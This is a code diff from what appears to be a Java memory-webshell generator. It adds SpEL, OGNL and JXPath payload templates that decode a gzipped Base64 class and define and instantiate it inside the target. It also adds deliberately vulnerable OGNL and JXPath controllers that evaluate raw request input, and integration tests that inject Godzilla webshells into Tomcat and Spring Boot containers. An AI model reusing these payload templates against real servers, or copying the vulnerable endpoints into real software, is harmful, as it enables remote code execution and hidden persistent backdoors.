diff --git a/integration-test/build.gradle.kts b/integration-test/build.gradle.kts index 2a9e9657..a329427e 100644 --- a/integration-test/build.gradle.kts +++ b/integration-test/build.gradle.kts @@ -28,6 +28,7 @@ dependencies { testImplementation(libs.junit.platform.reporting) testImplementation(libs.junit.jupiter) testImplementation(libs.junit.pioneer) + testImplementation(libs.logback.classic) testRuntimeOnly(libs.junit.platform.launcher) testImplementation(libs.hamcrest) testImplementation(libs.bundles.testcontainers) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 2da52d23..c392d4fe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -296,7 +296,9 @@ public class ShellAssertion { if (StringUtils.isNotBlank(urlPattern)) { injectorConfig.setUrlPattern(urlPattern); } - if (Packers.SpELSpringIOUtilsJDK17.equals(packer)) { + if (Packers.SpELSpringGzipJDK17.equals(packer) + || Packers.OGNLSpringGzipJDK17.equals(packer) + || Packers.JXPathSpringGzipJDK17.equals(packer)) { injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); } @@ -328,13 +330,15 @@ public class ShellAssertion { VulTool.uploadJspFileToServer(uploadEntry, filename, content); VulTool.urlIsOk(shellUrl); } - case ScriptEngine, DefaultScriptEngine, ScriptEngineBigInteger -> VulTool.postIsOk(url + "/js", content); + case ScriptEngine, DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger -> + VulTool.postIsOk(url + "/js", content); case EL -> VulTool.postIsOk(url + "/el", content); - case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringIOUtilsJDK17 -> + case SpEL, SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/spel", content); - case OGNL, OGNLSpringIOUtils, OGNLScriptEngine -> VulTool.postIsOk(url + "/ognl", content); + case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content); case MVEL -> VulTool.postIsOk(url + "/mvel", content); - case JXPath -> VulTool.postIsOk(url + "/jxpath", content); + case JXPath, JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 -> + VulTool.postIsOk(url + "/jxpath", content); case JEXL -> VulTool.postIsOk(url + "/jexl2", content); case Aviator -> VulTool.postIsOk(url + "/aviator", content); case Groovy -> VulTool.postIsOk(url + "/groovy", content); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java index 78749f85..aa40d279 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ContainerTest.java @@ -102,9 +102,4 @@ public class SpringBoot3ContainerTest { void testTomcat(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container, python); } - - @Test - void testCommandValveSpELSpringIOUtilsJDK17() { - ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, ShellType.JAKARTA_VALVE, ShellTool.Command, Opcodes.V17, Packers.SpELSpringIOUtilsJDK17, container); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java new file mode 100644 index 00000000..9cb9075f --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot3ExpressionContainerTest.java @@ -0,0 +1,71 @@ +package com.reajason.javaweb.integration.memshell.springwebmvc; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import lombok.extern.slf4j.Slf4j; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.params.ParameterizedTest; +import org.junit.jupiter.params.provider.Arguments; +import org.junit.jupiter.params.provider.MethodSource; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.wait.strategy.Wait; +import org.testcontainers.images.builder.ImageFromDockerfile; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.stream.Stream; + +import static com.reajason.javaweb.integration.ContainerTool.*; +import static org.junit.jupiter.params.provider.Arguments.arguments; + +/** + * @author ReaJason + * @since 2024/12/22 + */ +@Testcontainers +@Slf4j +public class SpringBoot3ExpressionContainerTest { + public static final String imageName = "springboot3"; + + @Container + public final static GenericContainer container = new GenericContainer<>(new ImageFromDockerfile() + .withDockerfile(springBoot3Dockerfile)) + .withCopyToContainer(jattachFile, "/jattach") + .withCopyToContainer(springbootPid, "/fetch_pid.sh") + .waitingFor(Wait.forHttp("/test")) + .withExposedPorts(8080); + + + public static String getUrl(GenericContainer container) { + String host = container.getHost(); + int port = container.getMappedPort(8080); + String url = "http://" + host + ":" + port; + log.info("container started, app url is : {}", url); + return url; + } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + log.info(logs); +// assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } + + static Stream casesProvider() { + return Stream.of( + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), + arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) + ); + } + + @ParameterizedTest(name = "{0}-expression|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, String shellTool, Packers packer) { + ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V17, packer, container); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java index b2c78cfa..6ce67813 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8ExpressionContainerTest.java @@ -44,16 +44,17 @@ public class Tomcat8ExpressionContainerTest { return Stream.of( arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.EL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringIOUtils), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.OGNLSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.MVEL), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELScriptEngine), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringIOUtils), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.SpELSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JEXL), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPath), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JXPathSpringGzip), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Aviator), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.BeanShell), - arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.DefaultScriptEngine), + arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineNoSquareBrackets), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineBigInteger), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Groovy), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java index 99fb3b8e..cd75bbab 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/Packers.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/Packers.java @@ -29,18 +29,23 @@ import com.reajason.javaweb.packer.jsp.DefineClassJspPacker; import com.reajason.javaweb.packer.jsp.JspPacker; import com.reajason.javaweb.packer.jsp.JspxPacker; import com.reajason.javaweb.packer.jxpath.JXPathPacker; +import com.reajason.javaweb.packer.jxpath.JXPathScriptEnginePacker; +import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipJDK17Packer; +import com.reajason.javaweb.packer.jxpath.JXPathSpringGzipPacker; import com.reajason.javaweb.packer.mvel.MVELPacker; import com.reajason.javaweb.packer.ognl.OGNLPacker; import com.reajason.javaweb.packer.ognl.OGNLScriptEnginePacker; -import com.reajason.javaweb.packer.ognl.OGNLSpringIOUtilsGzipPacker; +import com.reajason.javaweb.packer.ognl.OGNLSpringGzipJDK17Packer; +import com.reajason.javaweb.packer.ognl.OGNLSpringGzipPacker; import com.reajason.javaweb.packer.rhino.RhinoPacker; import com.reajason.javaweb.packer.scriptengine.DefaultScriptEnginePacker; import com.reajason.javaweb.packer.scriptengine.ScriptEngineBigIntegerPacker; +import com.reajason.javaweb.packer.scriptengine.ScriptEngineNoSquareBracketsPacker; import com.reajason.javaweb.packer.scriptengine.ScriptEnginePacker; import com.reajason.javaweb.packer.spel.SpELPacker; import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker; -import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipJDK17Packer; -import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker; +import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer; +import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker; import com.reajason.javaweb.packer.velocity.VelocityPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker; import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker; @@ -90,6 +95,7 @@ public enum Packers { */ ScriptEngine(new ScriptEnginePacker()), DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class), + ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class), ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class), Rhino(new RhinoPacker()), @@ -100,18 +106,24 @@ public enum Packers { OGNL(new OGNLPacker()), OGNLScriptEngine(new OGNLScriptEnginePacker(), OGNLPacker.class), - OGNLSpringIOUtils(new OGNLSpringIOUtilsGzipPacker(), OGNLPacker.class), + OGNLSpringGzip(new OGNLSpringGzipPacker(), OGNLPacker.class), + OGNLSpringGzipJDK17(new OGNLSpringGzipJDK17Packer(), OGNLPacker.class), MVEL(new MVELPacker()), Aviator(new AviatorPacker()), + JXPath(new JXPathPacker()), + JXPathSpringGzip(new JXPathSpringGzipPacker(), JXPathPacker.class), + JXPathSpringGzipJDK17(new JXPathSpringGzipJDK17Packer(), JXPathPacker.class), + + JEXL(new JEXLPacker()), BeanShell(new BeanShellPacker()), SpEL(new SpELPacker()), SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class), - SpELSpringIOUtils(new SpELSpringIOUtilsGzipPacker(), SpELPacker.class), - SpELSpringIOUtilsJDK17(new SpELSpringIOUtilsGzipJDK17Packer(), SpELPacker.class), + SpELSpringGzip(new SpELSpringGzipPacker(), SpELPacker.class), + SpELSpringGzipJDK17(new SpELSpringGzipJDK17Packer(), SpELPacker.class), Groovy(new GroovyPacker()), GroovyClassDefiner(new GroovyClassDefinerPacker(), GroovyPacker.class), diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java index a16c36c7..15f30a69 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathPacker.java @@ -1,19 +1,11 @@ package com.reajason.javaweb.packer.jxpath; -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.packer.AggregatePacker; /** * @author ReaJason * @since 2024/12/13 */ -public class JXPathPacker implements Packer { - String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')"; +public class JXPathPacker implements AggregatePacker { - @Override - public String pack(ClassPackerConfig config) { - String script = Packers.ScriptEngine.getInstance().pack(config); - return template.replace("{{script}}", script); - } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathScriptEnginePacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathScriptEnginePacker.java new file mode 100644 index 00000000..cac453de --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathScriptEnginePacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.jxpath; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class JXPathScriptEnginePacker implements Packer { + String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')"; + + @Override + public String pack(ClassPackerConfig config) { + String script = Packers.ScriptEngineNoSquareBrackets.getInstance().pack(config); + return template.replace("{{script}}", script); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java new file mode 100644 index 00000000..39d6eea2 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipJDK17Packer.java @@ -0,0 +1,23 @@ +package com.reajason.javaweb.packer.jxpath; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class JXPathSpringGzipJDK17Packer implements Packer { + String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))"; + + @Override + public String pack(ClassPackerConfig config) { + String className = config.getClassName(); + assertClassNameValid(className); + return template.replace("{{className}}", className) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java new file mode 100644 index 00000000..3ce11ef0 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/jxpath/JXPathSpringGzipPacker.java @@ -0,0 +1,19 @@ +package com.reajason.javaweb.packer.jxpath; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + +/** + * @author ReaJason + * @since 2024/12/13 + */ +public class JXPathSpringGzipPacker implements Packer { + String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(org.springframework.util.Base64Utils.decodeFromString('{{base64Str}}')))),getContextClassLoader(java.lang.Thread.currentThread())))"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java new file mode 100644 index 00000000..bc8a6caa --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipJDK17Packer.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.packer.ognl; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; + +import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertClassNameValid; + +/** + * @author ReaJason + * @since 2025/7/7 + */ +public class OGNLSpringGzipJDK17Packer implements Packer { + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader(),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()"; + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + String className = config.getClassName(); + assertClassNameValid(className); + return template.replace("{{className}}", className) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java new file mode 100644 index 00000000..f437f3f8 --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringGzipPacker.java @@ -0,0 +1,21 @@ +package com.reajason.javaweb.packer.ognl; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; +import lombok.SneakyThrows; + +/** + * @author ReaJason + * @since 2025/7/7 + */ +public class OGNLSpringGzipPacker implements Packer { + String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"; + + @Override + @SneakyThrows + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java deleted file mode 100644 index 4464de4d..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/ognl/OGNLSpringIOUtilsGzipPacker.java +++ /dev/null @@ -1,33 +0,0 @@ -package com.reajason.javaweb.packer.ognl; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.util.zip.GZIPOutputStream; - -/** - * @author ReaJason - * @since 2025/7/7 - */ -public class OGNLSpringIOUtilsGzipPacker implements Packer { - String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.apache.commons.io.IOUtils@toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()"; - - @Override - @SneakyThrows - public String pack(ClassPackerConfig config) { - return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes()))); - } - - public static byte[] gzipCompress(byte[] data) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { - gzip.write(data); - } - return out.toByteArray(); - } -} diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java similarity index 63% rename from packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java rename to packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java index 1195d2b6..bb984b97 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17Packer.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipJDK17Packer.java @@ -2,20 +2,21 @@ package com.reajason.javaweb.packer.spel; import com.reajason.javaweb.packer.ClassPackerConfig; import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; /** * @author ReaJason * @since 2024/12/13 */ -public class SpELSpringIOUtilsGzipJDK17Packer implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}'),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; +public class SpELSpringGzipJDK17Packer implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader(),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()"; @Override public String pack(ClassPackerConfig config) { String className = config.getClassName(); assertClassNameValid(className); return template.replace("{{className}}", className) - .replace("{{base64Str}}", config.getClassBytesBase64Str()); + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); } public static void assertClassNameValid(String className) { diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java new file mode 100644 index 00000000..db56f03c --- /dev/null +++ b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringGzipPacker.java @@ -0,0 +1,24 @@ +package com.reajason.javaweb.packer.spel; + +import com.reajason.javaweb.packer.ClassPackerConfig; +import com.reajason.javaweb.packer.Packer; +import com.reajason.javaweb.packer.Packers; + + +/** + * + * @since 5.2.24,SpEL 限制了长度为 10000,常规的 Base64 编码已经不适用,需要进一步使用 GZIP 压缩 + * InternalSpelExpressionParser.java + * + * @author ReaJason + * @since 2024/12/13 + */ +public class SpELSpringGzipPacker implements Packer { + String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; + + @Override + public String pack(ClassPackerConfig config) { + return template.replace("{{className}}", config.getClassName()) + .replace("{{base64Str}}", Packers.GzipBase64.getInstance().pack(config)); + } +} \ No newline at end of file diff --git a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java b/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java deleted file mode 100644 index 69438805..00000000 --- a/packer/src/main/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipPacker.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.reajason.javaweb.packer.spel; - -import com.reajason.javaweb.packer.ClassPackerConfig; -import com.reajason.javaweb.packer.Packer; -import lombok.SneakyThrows; -import org.apache.commons.codec.binary.Base64; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.util.zip.GZIPOutputStream; - - -/** - * @author ReaJason - * @since 2024/12/13 - */ -public class SpELSpringIOUtilsGzipPacker implements Packer { - String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.apache.commons.io.IOUtils).toByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()"; - - @Override - @SneakyThrows - public String pack(ClassPackerConfig config) { - return template.replace("{{className}}", config.getClassName()) - .replace("{{base64Str}}", Base64.encodeBase64String(gzipCompress(config.getClassBytes()))); - } - - public static byte[] gzipCompress(byte[] data) throws IOException { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { - gzip.write(data); - } - return out.toByteArray(); - } -} \ No newline at end of file diff --git a/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java b/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java index f84b9713..f09b170b 100644 --- a/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java +++ b/packer/src/test/java/com/reajason/javaweb/packer/spel/SpELSpringIOUtilsGzipJDK17PackerTest.java @@ -18,9 +18,9 @@ class SpELSpringIOUtilsGzipJDK17PackerTest { classPackerConfig.setClassName("org.springframework.expression.sub.CommonUtil"); classPackerConfig.setClassBytes("hello".getBytes()); classPackerConfig.setClassBytesBase64Str(Base64.encodeBase64String("hello".getBytes())); - Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig)); + Assertions.assertThrows(UnsupportedOperationException.class, () -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig)); classPackerConfig.setClassName("org.springframework.expression.CommonUtil"); - Assertions.assertDoesNotThrow(() -> Packers.SpELSpringIOUtilsJDK17.getInstance().pack(classPackerConfig)); + Assertions.assertDoesNotThrow(() -> Packers.SpELSpringGzipJDK17.getInstance().pack(classPackerConfig)); } } \ No newline at end of file diff --git a/vul/vul-springboot3/build.gradle.kts b/vul/vul-springboot3/build.gradle.kts index 28cbd50e..cbeb2f8c 100644 --- a/vul/vul-springboot3/build.gradle.kts +++ b/vul/vul-springboot3/build.gradle.kts @@ -19,6 +19,9 @@ dependencies { testImplementation("org.junit.jupiter:junit-jupiter") testRuntimeOnly("org.junit.platform:junit-platform-launcher") runtimeOnly("com.h2database:h2") + implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") + implementation("commons-beanutils:commons-beanutils:1.9.3") } tasks.test { diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java new file mode 100644 index 00000000..3e2e6f00 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/JXPathController.java @@ -0,0 +1,20 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import org.apache.commons.jxpath.JXPathContext; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/jxpath") +public class JXPathController { + @PostMapping + protected Object doPost(String data) { + JXPathContext context = JXPathContext.newContext(null); + return context.getValue(data); + } +} diff --git a/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java new file mode 100644 index 00000000..f3f0fe81 --- /dev/null +++ b/vul/vul-springboot3/src/main/java/com/reajason/javaweb/vul/springboot3/controller/OgnlController.java @@ -0,0 +1,25 @@ +package com.reajason.javaweb.vul.springboot3.controller; + +import ognl.Ognl; +import ognl.OgnlContext; +import ognl.OgnlException; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author ReaJason + * @since 2024/12/14 + */ +@RestController +@RequestMapping("/ognl") +public class OgnlController { + @RequestMapping + protected Object doPost(String data) { + OgnlContext context = new OgnlContext(); + try { + return Ognl.getValue(data, context, context.getRoot()); + } catch (OgnlException e) { + throw new RuntimeException(e); + } + } +} diff --git a/vul/vul-webapp-expression/build.gradle.kts b/vul/vul-webapp-expression/build.gradle.kts index 53ef6d3b..cce2ca0f 100644 --- a/vul/vul-webapp-expression/build.gradle.kts +++ b/vul/vul-webapp-expression/build.gradle.kts @@ -18,11 +18,11 @@ dependencies { implementation("commons-io:commons-io:2.19.0") implementation("org.apache.velocity:velocity:1.7") implementation("ognl:ognl:2.7.3") + implementation("commons-jxpath:commons-jxpath:1.3") 